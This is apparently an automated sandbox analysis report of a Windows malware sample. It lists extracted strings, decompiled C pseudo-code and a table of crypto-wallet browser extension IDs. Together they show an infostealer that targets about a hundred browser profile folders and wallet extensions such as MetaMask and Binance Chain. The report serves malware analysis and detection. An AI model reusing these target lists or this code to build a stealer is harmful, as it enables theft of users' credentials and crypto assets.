Elements Browser, xrefs: 00007FF710625D44
MzYwQnJvd3Nlcg==, xrefs: 00007FF71062557C
TGllYmFv, xrefs: 00007FF7106261B3
Qmxpc2s=, xrefs: 00007FF7106257DB
Blisk, xrefs: 00007FF7106257EF
CryptoTab Browser, xrefs: 00007FF710625CE9
360Browser\Browser, xrefs: 00007FF71062558D
VVJCcm93c2Vy, xrefs: 00007FF710626CEB
Baidu Spark, xrefs: 00007FF710625794
GhostBrowser, xrefs: 00007FF710625F0B
VUNCcm93c2Vy, xrefs: 00007FF710626C97
MzYwc2U2, xrefs: 00007FF7106255CB
U3B1dG5paw==, xrefs: 00007FF710626980
Opera Software\Opera Neon, xrefs: 00007FF71062660D
Q2VudEJyb3dzZXI=, xrefs: 00007FF7106259FD
Safer Technologies\Secure Browser, xrefs: 00007FF710626828
Epic Browser, xrefs: 00007FF710625D9F
TWFwbGVTdHVkaW8=, xrefs: 00007FF710626207
Opera Software\Opera GX Stable, xrefs: 00007FF710626537
Xvast, xrefs: 00007FF710626E4F
VHdpbmtzdGFy, xrefs: 00007FF710626C43
TWF4dGhvbjU=, xrefs: 00007FF710626303
K-Melon, xrefs: 00007FF7106260CB
Xpom, xrefs: 00007FF710626DFB
Chromodo, xrefs: 00007FF710625B22
TmljaHJvbWU=, xrefs: 00007FF7106263FF
Sleipnir, xrefs: 00007FF710626939
UUlQU3VyZg==, xrefs: 00007FF7106266A8
Flock, xrefs: 00007FF710625E55
Coowon\Coowon, xrefs: 00007FF710625C8E
U1JXYXJlSXJvbg==, xrefs: 00007FF7106267B9
Q2hyb21l, xrefs: 00007FF710625AB3
Q29tb2Rv, xrefs: 00007FF710625BC4
U2FsYW1XZWI=, xrefs: 00007FF71062686F
WHZhc3Q=, xrefs: 00007FF710626E3B
MapleStudio\ChromePlus, xrefs: 00007FF71062621B

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_fs_convert_narrow_to_wide$Concurrency::cancel_current_task__std_fs_code_page
String ID: !$360Browser\Browser$360se6$7Star\7Star$AVAST Software\Browser$AVG\Browser$AcWebBrowser$Baidu Spark$BlackHawk$Blisk$BraveSoftware\Brave-Browser$Bromium$CCleaner Browser$CatalinaGroup\Citrio$CentBrowser$Chedot$Chromodo$CocCoc\Browser$Comodo\Dragon$CoolNovo$Coowon\Coowon$CryptoTab Browser$Elements Browser$Epic Browser$Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer$Flock$GarenaPlus$GhostBrowser$Go!$Google\Chrome$Google\Chrome SxS$InsomniacBrowser$Iridium$K-Melon$Kinza$Lenovo\SLBrowser$Liebao$MapleStudio\ChromePlus$Maxthon3\Users$Maxthon5\Users\guest\MagicFill$Maxthon\Application$Microsoft\Edge$MzYwQnJvd3Nlcg==$MzYwc2U2$N1N0YXI=$NetboxBrowser$Nichrome$Opera Software\Opera Crypto Developer$Opera Software\Opera GX Stable$Opera Software\Opera Neon$Opera Software\Opera Stable$Q0NsZWFuZXIg$Q29jQ29j$Q29tb2Rv$Q29vbE5vdm8=$Q29vd29u$Q2F0YWxpbmFHcm91cA==$Q2VudEJyb3dzZXI=$Q2hlZG90$Q2hyb21l$Q2hyb21vZG8=$Q3J5cHRvVGFiQnJvd3Nlcg==$QIP Surf$QVZBU1RTb2Z0d2FyZQ==$QVZH$QWNXZWJCcm93c2Vy$QmFpZHVTcGFyaw==$QmxhY2tIYXdr$Qmxpc2s=$QnJhdmU=$QnJvbWl1bQ==$R28=$R29vZ2xl$R2FyZW5hUGx1cw==$R2hvc3RCcm93c2Vy$RWxlbWVudHNCcm93c2Vy$RXBpYw==$Rafotech\Mustang$RmVucmlySW5j$RmxvY2s=$RockMelt$S2luemE=$SRWare Iron$SW5zb21uaWFjQnJvd3Nlcg==$SXJpZGl1bQ==$Safer Technologies\Secure Browser$SalamWeb$Sidekick$Sleipnir$Sputnik\Sputnik$Suhba$Superbird$SwingBrowser$Sy1NZWxvbg==$T3BlcmE=$T3BlcmFHWA==$T3BlcmFTb2Z0d2FyZU5lb24=$T3BlcmFTb2Z0d2FyZUNyeXB0bw==$T3BlcmFTb2Z0d2FyZVN0YWJsZQ==$TGVub3Zv$TGllYmFv$TWF4dGhvbg==$TWF4dGhvbjM=$TWF4dGhvbjU=$TWFwbGVTdHVkaW8=$TXNFZGdl$Tencent\QQBrowser$Titan Browser$TmV0Ym94QnJvd3Nlcg==$TmljaHJvbWU=$TorBro\Profile$Torch$Twinkstar$U1JXYXJlSXJvbg==$U2FmZXJUZWNobm9sb2dpZXM=$U2FsYW1XZWI=$U2lkZWtpY2s=$U2xlaXBuaXI=$U3B1dG5paw==$U3VoYmE=$U3VwZXJiaXJk$U3dpbmdCcm93c2Vy$UCBrowser\User Data_i18n$URBrowser$UUlQU3VyZg==$Um9ja01lbHQ=$UmFmb3RlY2g=$VG9yQnJv$VG9yY2g=$VGVuY2VudA==$VGl0YW5Ccm93c2Vy$VHdpbmtzdGFy$VUNCcm93c2Vy$VVJCcm93c2Vy$ViaSat\Viasat Browser$Vivaldi$Vml2YWxkaQ==$VmlhU2F0$WHBvbQ==$WHZhc3Q=$WWFuZGV4$Xpom$Xvast$Yandex\YandexBrowser$dUNvek1lZGlh$uCozMedia\Uran$~
API String ID: 159641522-841534413
Opcode ID: d5b59a52b850506d811afcbe93e5129ce53a4df54149cead90f42bbd5cd588c1
Instruction ID: ae9d165549251b2eee19968f16cbc8c59831a7085646edfb75a31a72ef311f9c
Opcode Fuzzy Hash: d5b59a52b850506d811afcbe93e5129ce53a4df54149cead90f42bbd5cd588c1
Instruction Fuzzy Hash: 5CF23172914FC695D720DF30E8413E9B361FB99368F906322E68C56A69DF78F688C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106231D0 Relevance: 258.5, APIs: 8, Strings: 139, Instructions: 1295
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00007FF77FF7106231D0(intOrPtr* __rcx, void* __r8) {
				signed int _v24;
				intOrPtr _v36;
				unsigned int _v40;
				char _v56;
				long long _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void* __rbx;
				intOrPtr _t18;
				void* _t33;
				unsigned int _t38;
				void* _t45;
				signed long long _t50;
				void* _t59;
				signed long long _t60;
				void* _t61;
				void* _t62;

				_t61 = __r8;
				_t50 =  *0x10689010; // 0xafe3859a1ce3
				_v24 = _t50 ^ _t60;
				if ( *((long long*)(__rcx + 0x18)) - 8 < 0) goto 0x106231f2;
				r9d = 0xffffffff;
				r8d = 3;
				_t18 = E00007FF77FF710661300(_t33,  *((long long*)(__rcx + 0x18)) - 8, __rcx,  *__rcx,  &_v56, _t59, _t62);
				r8d = _t18;
				if (_t18 != 0) goto 0x1062325e;
				_t38 = _v40;
				_t35 =  !=  ? 0x16d : 0x1ff;
				_v68 =  !=  ? 0x16d : 0x1ff;
				if ((_t38 >> 0x0000000a & 0x00000001) == 0) goto 0x10623250;
				if (_v36 != 0xa000000c) goto 0x10623242;
				goto 0x10623283;
				_t45 = _t61 + 4 - 0xa0000003;
				if (_t45 != 0) goto 0x10623250;
				goto 0x10623283;
				goto 0x10623283;
				_v68 = 0xffff;
				if (_t45 == 0) goto 0x1062327e;
				if (_t45 == 0) goto 0x1062327e;
				if (_t45 == 0) goto 0x1062327e;
				if ((_t38 >> 0x00000004 & 1 | 0x00000002) - 0xffffffffffffffcf == 0x46) goto 0x1062327e;
				goto 0x10623283;
				_v72 = r8d;
				_v64 = 0x10689cd0;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				if (1 == 0) goto 0x106232bc;
				return E00007FF77FF710641DF0(0xbadbad, _t38 >> 0xa, _v24 ^ _t60);
			}

0x7ff7106231d0
0x7ff7106231d6
0x7ff7106231e0
0x7ff7106231ed
0x7ff7106231f2
0x7ff7106231fd
0x7ff710623203
0x7ff710623208
0x7ff71062320d
0x7ff71062320f
0x7ff710623220
0x7ff710623223
0x7ff71062322f
0x7ff71062323a
0x7ff710623240
0x7ff710623242
0x7ff710623247
0x7ff71062324e
0x7ff71062325c
0x7ff71062325e
0x7ff710623269
0x7ff71062326e
0x7ff710623273
0x7ff710623278
0x7ff71062327c
0x7ff710623283
0x7ff71062328f
0x7ff710623294
0x7ff710623299
0x7ff7106232a1
0x7ff7106232bb

Strings

U2FmZXJUZWNobm9sb2dpZXMqQCo=, xrefs: 00007FF7106241AD
RmxvY2sqQCo=, xrefs: 00007FF710623A21
TWF4dGhvbipAKg==, xrefs: 00007FF710623BCD
Nichrome, xrefs: 00007FF710623DA8
BlackHawk, xrefs: 00007FF710623633
WHBvbSpAKg==, xrefs: 00007FF710624751
CocCoc\Browser, xrefs: 00007FF710623927
Q2hyb21vZG8qQCo=, xrefs: 00007FF7106238BF
Google\Chrome, xrefs: 00007FF71062387F
RockMelt, xrefs: 00007FF71062410B
Bromium, xrefs: 00007FF7106236DB
AVG\Browser, xrefs: 00007FF7106234E3
Superbird, xrefs: 00007FF7106243DC
QnJvbWl1bSpAKg==, xrefs: 00007FF7106236C7
URBrowser, xrefs: 00007FF710624669
UUlQU3VyZipAKg==, xrefs: 00007FF710624041
Q29vd29uKkAq, xrefs: 00007FF7106239C4
VXNlciBEYXRhXExvY2FsIFN0YXRl, xrefs: 00007FF710624A8E
Q2VudEJyb3dzZXIqQCo=, xrefs: 00007FF7106237C3
T3BlcmFTb2Z0d2FyZVN0YWJsZSpAKg==, xrefs: 00007FF710623FED
SalamWeb, xrefs: 00007FF71062421C
ViaSat\Viasat Browser, xrefs: 00007FF7106246BD
S01lbG9uKkAq, xrefs: 00007FF710623AB4
QVZHKkAq, xrefs: 00007FF7106234CF
VGl0YW5Ccm93c2VyKkAq, xrefs: 00007FF7106244B1
QnJhdmUqQCo=, xrefs: 00007FF710623673
VG9yY2gqQCo=, xrefs: 00007FF710624559
BraveSoftware\Brave-Browser, xrefs: 00007FF710623687
VVJCcm93c2VyKkAq, xrefs: 00007FF710624655
7Star\7Star, xrefs: 00007FF71062343B
Rafotech\Mustang, xrefs: 00007FF7106240B0
TGllYmFvKkAq, xrefs: 00007FF710623B17
QVZBU1RTb2Z0d2FyZSpAKg==, xrefs: 00007FF71062347B
Q0NsZWFuZXJCcm93c2VyKkAq, xrefs: 00007FF71062371B
Comodo\Dragon, xrefs: 00007FF71062397B
Kinza, xrefs: 00007FF710623AC8
Twinkstar, xrefs: 00007FF7106245C1
TWFwbGVTdHVkaW8qQCo=, xrefs: 00007FF710623B72
TmljaHJvbWUqQCo=, xrefs: 00007FF710623D94
dUNvek1lZGlhKkAq, xrefs: 00007FF71062484D
Iridium, xrefs: 00007FF710623A92
QmxhY2tIYXdrKkAq, xrefs: 00007FF71062361F
!, xrefs: 00007FF7106241CD
Maxthon\Application, xrefs: 00007FF710623BE1
Q2hyb21lKkAq, xrefs: 00007FF71062386B
CoolNovo, xrefs: 00007FF7106239A2
Microsoft\Edge, xrefs: 00007FF710623CF2
QIP Surf, xrefs: 00007FF710624055
Q29jQ29jKkAq, xrefs: 00007FF710623913
SRWare Iron, xrefs: 00007FF710624166
Liebao, xrefs: 00007FF710623B2B
Torch, xrefs: 00007FF71062456D
AcWebBrowser, xrefs: 00007FF710623537
TmV0Ym94QnJvd3NlcipAKg==, xrefs: 00007FF710623D39
VHdpbmtzdGFyKkAq, xrefs: 00007FF7106245AD
R2hvc3RCcm93c2VyKkAq, xrefs: 00007FF710623A49
SXJpZGl1bSpAKg==, xrefs: 00007FF710623A99
U2FsYW1XZWIqQCo=, xrefs: 00007FF710624208
UCBrowser\User Data_i18n, xrefs: 00007FF710624615
U3VoYmEqQCo=, xrefs: 00007FF710624374
TGVub3ZvKkAq, xrefs: 00007FF710623AEA
ios_base::eofbit set, xrefs: 00007FF710625341
Suhba, xrefs: 00007FF710624388
N1N0YXIqQCo=, xrefs: 00007FF710623427
360se6, xrefs: 00007FF7106233E7
RWxlbWVudHNCcm93c2VyKkAq, xrefs: 00007FF7106239EC
SwingBrowser, xrefs: 00007FF71062441D
Sidekick, xrefs: 00007FF710624277
U3VwZXJiaXJkKkAq, xrefs: 00007FF7106243C8
Sputnik\Sputnik, xrefs: 00007FF71062432D
Q29vbE5vdm8qQCo=, xrefs: 00007FF7106239A9
R29vZ2xlKkAq, xrefs: 00007FF710623A71
AVAST Software\Browser, xrefs: 00007FF71062348F
TWF4dGhvbjUqQCo=, xrefs: 00007FF710623C83
Chedot, xrefs: 00007FF71062382B
Tencent\QQBrowser, xrefs: 00007FF710624471
Vivaldi, xrefs: 00007FF710624711
T3BlcmEqQCo=, xrefs: 00007FF710623E9A
CatalinaGroup\Citrio, xrefs: 00007FF710623783
QWNXZWJCcm93c2VyKkAq, xrefs: 00007FF710623523
Q29tb2RvKkAq, xrefs: 00007FF710623967
Google\Chrome SxS, xrefs: 00007FF710623A6A
WHZhc3QqQCo=, xrefs: 00007FF7106247A5
VUNCcm93c2VyKkAq, xrefs: 00007FF710624601
U3dpbmdCcm93c2VyKkAq, xrefs: 00007FF710624409
VGVuY2VudCpAKg==, xrefs: 00007FF71062445D
CCleaner Browser, xrefs: 00007FF71062372F
VG9yQnJvKkAq, xrefs: 00007FF710624505
S2luemEqQCo=, xrefs: 00007FF710623ACF
U2xlaXBuaXIqQCo=, xrefs: 00007FF7106242BE
Q2hlZG90KkAq, xrefs: 00007FF710623817
U1JXYXJlSXJvbipAKg==, xrefs: 00007FF710624152
Maxthon3\Users, xrefs: 00007FF710623C3C
uCozMedia\Uran, xrefs: 00007FF710624861
Maxthon5\Users\guest\MagicFill, xrefs: 00007FF710623C97
Lenovo\SLBrowser, xrefs: 00007FF710623AE3
Opera Software\Opera Stable, xrefs: 00007FF710623E31
Um9ja01lbHQqQCo=, xrefs: 00007FF7106240F7
MzYwQnJvd3NlcipAKg==, xrefs: 00007FF71062337F
T3BlcmFTb2Z0d2FyZUNyeXB0bypAKg==, xrefs: 00007FF710623DEF
ios_base::badbit set, xrefs: 00007FF71062532F
CentBrowser, xrefs: 00007FF7106237D7
MzYwc2U2KkAq, xrefs: 00007FF7106233D3
T3BlcmFTb2Z0d2FyZU5lb24qQCo=, xrefs: 00007FF710623F92
VmlhU2F0KkAq, xrefs: 00007FF7106246A9
Yandex\YandexBrowser, xrefs: 00007FF71062480D
TorBro\Profile, xrefs: 00007FF710624519
NetboxBrowser, xrefs: 00007FF710623D4D
Opera Software\Opera Crypto Developer, xrefs: 00007FF710623E03
Titan Browser, xrefs: 00007FF7106244C5
Elements Browser, xrefs: 00007FF7106239E5
exists, xrefs: 00007FF710623184
U3B1dG5paypAKg==, xrefs: 00007FF710624319
Qmxpc2sqQCo=, xrefs: 00007FF7106235CB
Blisk, xrefs: 00007FF7106235DF
360Browser\Browser, xrefs: 00007FF710623393
Q2F0YWxpbmFHcm91cCpAKg==, xrefs: 00007FF71062376F
Baidu Spark, xrefs: 00007FF71062358B
UmFmb3RlY2gqQCo=, xrefs: 00007FF71062409C
T3BlcmFHWCpAKg==, xrefs: 00007FF710623F3E
GhostBrowser, xrefs: 00007FF710623A42
Opera Software\Opera Neon, xrefs: 00007FF710623FA6
ios_base::failbit set, xrefs: 00007FF71062533A
TXNFZGdlKkAq, xrefs: 00007FF710623CDE
Safer Technologies\Secure Browser, xrefs: 00007FF7106241C1
Vml2YWxkaSpAKg==, xrefs: 00007FF7106246FD
QmFpZHVTcGFyaypAKg==, xrefs: 00007FF710623577
Opera Software\Opera GX Stable, xrefs: 00007FF710623ED5
U2lkZWtpY2sqQCo=, xrefs: 00007FF710624263
Xvast, xrefs: 00007FF7106247B9
K-Melon, xrefs: 00007FF710623AAD
WWFuZGV4KkAq, xrefs: 00007FF7106247F9
Xpom, xrefs: 00007FF710624765
Chromodo, xrefs: 00007FF7106238D3
Sleipnir, xrefs: 00007FF7106242D2
Flock, xrefs: 00007FF710623A1A
Coowon\Coowon, xrefs: 00007FF7106239BD
TWF4dGhvbjMqQCo=, xrefs: 00007FF710623C28
MapleStudio\ChromePlus, xrefs: 00007FF710623B86

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID: !$360Browser\Browser$360se6$7Star\7Star$AVAST Software\Browser$AVG\Browser$AcWebBrowser$Baidu Spark$BlackHawk$Blisk$BraveSoftware\Brave-Browser$Bromium$CCleaner Browser$CatalinaGroup\Citrio$CentBrowser$Chedot$Chromodo$CocCoc\Browser$Comodo\Dragon$CoolNovo$Coowon\Coowon$Elements Browser$Flock$GhostBrowser$Google\Chrome$Google\Chrome SxS$Iridium$K-Melon$Kinza$Lenovo\SLBrowser$Liebao$MapleStudio\ChromePlus$Maxthon3\Users$Maxthon5\Users\guest\MagicFill$Maxthon\Application$Microsoft\Edge$MzYwQnJvd3NlcipAKg==$MzYwc2U2KkAq$N1N0YXIqQCo=$NetboxBrowser$Nichrome$Opera Software\Opera Crypto Developer$Opera Software\Opera GX Stable$Opera Software\Opera Neon$Opera Software\Opera Stable$Q0NsZWFuZXJCcm93c2VyKkAq$Q29jQ29jKkAq$Q29tb2RvKkAq$Q29vbE5vdm8qQCo=$Q29vd29uKkAq$Q2F0YWxpbmFHcm91cCpAKg==$Q2VudEJyb3dzZXIqQCo=$Q2hlZG90KkAq$Q2hyb21lKkAq$Q2hyb21vZG8qQCo=$QIP Surf$QVZBU1RTb2Z0d2FyZSpAKg==$QVZHKkAq$QWNXZWJCcm93c2VyKkAq$QmFpZHVTcGFyaypAKg==$QmxhY2tIYXdrKkAq$Qmxpc2sqQCo=$QnJhdmUqQCo=$QnJvbWl1bSpAKg==$R29vZ2xlKkAq$R2hvc3RCcm93c2VyKkAq$RWxlbWVudHNCcm93c2VyKkAq$Rafotech\Mustang$RmxvY2sqQCo=$RockMelt$S01lbG9uKkAq$S2luemEqQCo=$SRWare Iron$SXJpZGl1bSpAKg==$Safer Technologies\Secure Browser$SalamWeb$Sidekick$Sleipnir$Sputnik\Sputnik$Suhba$Superbird$SwingBrowser$T3BlcmEqQCo=$T3BlcmFHWCpAKg==$T3BlcmFTb2Z0d2FyZU5lb24qQCo=$T3BlcmFTb2Z0d2FyZUNyeXB0bypAKg==$T3BlcmFTb2Z0d2FyZVN0YWJsZSpAKg==$TGVub3ZvKkAq$TGllYmFvKkAq$TWF4dGhvbipAKg==$TWF4dGhvbjMqQCo=$TWF4dGhvbjUqQCo=$TWFwbGVTdHVkaW8qQCo=$TXNFZGdlKkAq$Tencent\QQBrowser$Titan Browser$TmV0Ym94QnJvd3NlcipAKg==$TmljaHJvbWUqQCo=$TorBro\Profile$Torch$Twinkstar$U1JXYXJlSXJvbipAKg==$U2FmZXJUZWNobm9sb2dpZXMqQCo=$U2FsYW1XZWIqQCo=$U2lkZWtpY2sqQCo=$U2xlaXBuaXIqQCo=$U3B1dG5paypAKg==$U3VoYmEqQCo=$U3VwZXJiaXJkKkAq$U3dpbmdCcm93c2VyKkAq$UCBrowser\User Data_i18n$URBrowser$UUlQU3VyZipAKg==$Um9ja01lbHQqQCo=$UmFmb3RlY2gqQCo=$VG9yQnJvKkAq$VG9yY2gqQCo=$VGVuY2VudCpAKg==$VGl0YW5Ccm93c2VyKkAq$VHdpbmtzdGFyKkAq$VUNCcm93c2VyKkAq$VVJCcm93c2VyKkAq$VXNlciBEYXRhXExvY2FsIFN0YXRl$ViaSat\Viasat Browser$Vivaldi$Vml2YWxkaSpAKg==$VmlhU2F0KkAq$WHBvbSpAKg==$WHZhc3QqQCo=$WWFuZGV4KkAq$Xpom$Xvast$Yandex\YandexBrowser$dUNvek1lZGlhKkAq$exists$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$uCozMedia\Uran
API String ID: 0-746065915
Opcode ID: a682eb18001178c616e770b4a41a7143e6cef2ea1a639cb88fd2b285e51a3532
Instruction ID: 45f18f4cc71acc7d39aa0c7ff33e50ad3618c89f46257fe62607a58af4faafcd
Opcode Fuzzy Hash: a682eb18001178c616e770b4a41a7143e6cef2ea1a639cb88fd2b285e51a3532
Instruction Fuzzy Hash: 74E2A532914FC695D720EF30D8453E9B362FB95358F906232E68C56A69EF78F688C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063EFF0 Relevance: 251.9, APIs: 11, Strings: 132, Instructions: 1680
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E00007FF77FF71063EFF0(void* __esp, void* __eflags, void* __rax, long long __rbx, signed long long* __rdx, long long __r8, long long __r9, void* __r10) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r13;
				void* __r15;
				void* _t562;
				void* _t640;
				void* _t641;
				signed int _t646;
				signed int _t647;
				signed int _t649;
				int _t650;
				void* _t660;
				intOrPtr _t690;
				void* _t696;
				void* _t733;
				signed long long _t799;
				signed long long _t800;
				signed long long _t801;
				signed long long _t805;
				void* _t806;
				intOrPtr _t807;
				long long _t823;
				signed long long _t824;
				void* _t825;
				signed short* _t828;
				long long _t880;
				void* _t883;
				intOrPtr* _t1001;
				signed long long _t1020;
				void* _t1176;
				void* _t1182;
				signed long long _t1191;
				void* _t1196;
				signed long long _t1200;
				signed long long _t1213;
				signed long long _t1216;
				signed long long _t1219;
				signed long long _t1222;
				signed long long _t1225;
				signed long long _t1228;
				signed long long _t1231;
				signed long long _t1234;
				signed long long _t1237;
				signed long long _t1238;
				intOrPtr* _t1242;
				intOrPtr* _t1243;
				void* _t1281;
				signed long long _t1282;
				long long _t1285;
				intOrPtr* _t1286;
				intOrPtr* _t1287;
				signed int* _t1289;
				void* _t1291;
				char* _t1292;
				void* _t1294;
				signed long long _t1295;
				signed short* _t1336;
				signed short* _t1340;
				intOrPtr _t1342;
				signed int _t1352;
				intOrPtr _t1355;
				signed long long _t1358;
				void* _t1359;
				signed short* _t1361;
				void* _t1362;
				void* _t1363;
				void* _t1367;
				intOrPtr* _t1368;
				signed int* _t1372;
				void* _t1374;
				void* _t1375;
				long long _t1376;
				intOrPtr _t1377;
				signed long long _t1379;
				signed long long _t1381;
				signed int _t1382;
				void* _t1384;

				_t1297 = __r8;
				_t878 = __rbx;
				 *((long long*)(_t1294 + 8)) = __rbx;
				_t1292 = _t1294 - 0x1330;
				E00007FF77FF710663340(0x1430, __rax, __r10, _t1359);
				_t1295 = _t1294 - __rax;
				asm("movaps [esp+0x1420], xmm6");
				_t799 =  *0x10689010; // 0xafe3859a1ce3
				_t800 = _t799 ^ _t1295;
				 *(_t1292 + 0x1318) = _t800;
				 *((long long*)(_t1292 - 0x80)) = __r9;
				_t1368 = __r8;
				 *((long long*)(_t1292 - 0x68)) = __r8;
				 *((long long*)(_t1292 - 0x70)) = __rdx;
				 *((long long*)(_t1292 + 8)) = __rdx;
				 *((long long*)(_t1292 + 0x11d8)) = __r8;
				 *((long long*)(_t1292 + 0x11e0)) = __r9;
				 *(_t1295 + 0x34) = 0;
				asm("xorps xmm0, xmm0");
				asm("movups [edx], xmm0");
				 *__rdx = _t1237;
				__rdx[1] = _t1237;
				E00007FF77FF710641E18(_t800, _t883);
				 *_t800 = _t800;
				 *(_t800 + 8) = _t800;
				 *(_t800 + 0x10) = _t800;
				 *((short*)(_t800 + 0x18)) = 0x101;
				 *__rdx = _t800;
				 *(_t1295 + 0x34) = 1;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1220], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movups [ebp+0xc0], xmm1");
				asm("movdqa [ebp+0xd0], xmm0");
				_t17 = _t1237 + 0xc; // 0xc
				r8d = _t17;
				E00007FF77FF710634890(_t1292 + 0xc0, L"TWV0YW1hc2s=", _t1237, __r8, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xe0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xf0], xmm1");
				_t19 = _t1237 + 0x20; // 0x20
				r8d = _t19;
				E00007FF77FF710634890(_t1292 + 0xe0, L"nkbihfbeogaeaoehlefnkodbefgpgknn", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x100], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x110], xmm1");
				_t21 = _t1237 + 0x10; // 0x10
				r8d = _t21;
				E00007FF77FF710634890(_t1292 + 0x100, L"QmluYW5jZUNoYWlu", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x120], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x130], xmm1");
				_t23 = _t1237 + 0x20; // 0x20
				r8d = _t23;
				E00007FF77FF710634890(_t1292 + 0x120, L"fhbohimaelbohpjbbldcngcnapndodjp", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x140], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x150], xmm1");
				_t25 = _t1237 + 8; // 0x8
				r8d = _t25;
				E00007FF77FF710634890(_t1292 + 0x140, L"Qml0YXBw", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x160], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x170], xmm1");
				_t27 = _t1237 + 0x20; // 0x20
				r8d = _t27;
				E00007FF77FF710634890(_t1292 + 0x160, L"fihkakfobkmkjojpchpfgcmhfjnmnfpi", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x180], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x190], xmm1");
				_t29 = _t1237 + 8; // 0x8
				r8d = _t29;
				E00007FF77FF710634890(_t1292 + 0x180, L"Q29pbjk4", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1a0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1b0], xmm1");
				_t31 = _t1237 + 0x20; // 0x20
				r8d = _t31;
				E00007FF77FF710634890(_t1292 + 0x1a0, L"aeachknmefphepccionboohckonoeemg", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1c0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1d0], xmm1");
				_t33 = _t1237 + 0xc; // 0xc
				r8d = _t33;
				E00007FF77FF710634890(_t1292 + 0x1c0, L"REFwcFBsYXk=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1e0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1f0], xmm1");
				_t35 = _t1237 + 0x20; // 0x20
				r8d = _t35;
				E00007FF77FF710634890(_t1292 + 0x1e0, L"lodccjjbdhfakaekdiahmedfbieldgik", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x200], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x210], xmm1");
				_t37 = _t1237 + 8; // 0x8
				r8d = _t37;
				E00007FF77FF710634890(_t1292 + 0x200, L"RXF1YWw=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x220], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x230], xmm1");
				_t39 = _t1237 + 0x20; // 0x20
				r8d = _t39;
				E00007FF77FF710634890(_t1292 + 0x220, L"blnieiiffboillknjnepogjhkgnoapac", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x240], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x250], xmm1");
				_t41 = _t1237 + 8; // 0x8
				r8d = _t41;
				E00007FF77FF710634890(_t1292 + 0x240, L"R3VpbGQ=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x260], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x270], xmm1");
				_t43 = _t1237 + 0x20; // 0x20
				r8d = _t43;
				E00007FF77FF710634890(_t1292 + 0x260, L"nanjmdknhkinifnkgdcggcfnhdaammmj", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x280], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x290], xmm1");
				_t45 = _t1237 + 8; // 0x8
				r8d = _t45;
				E00007FF77FF710634890(_t1292 + 0x280, L"SUNPTmV4", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x2a0], xmm0");
				asm("xorps xmm1, xmm1");
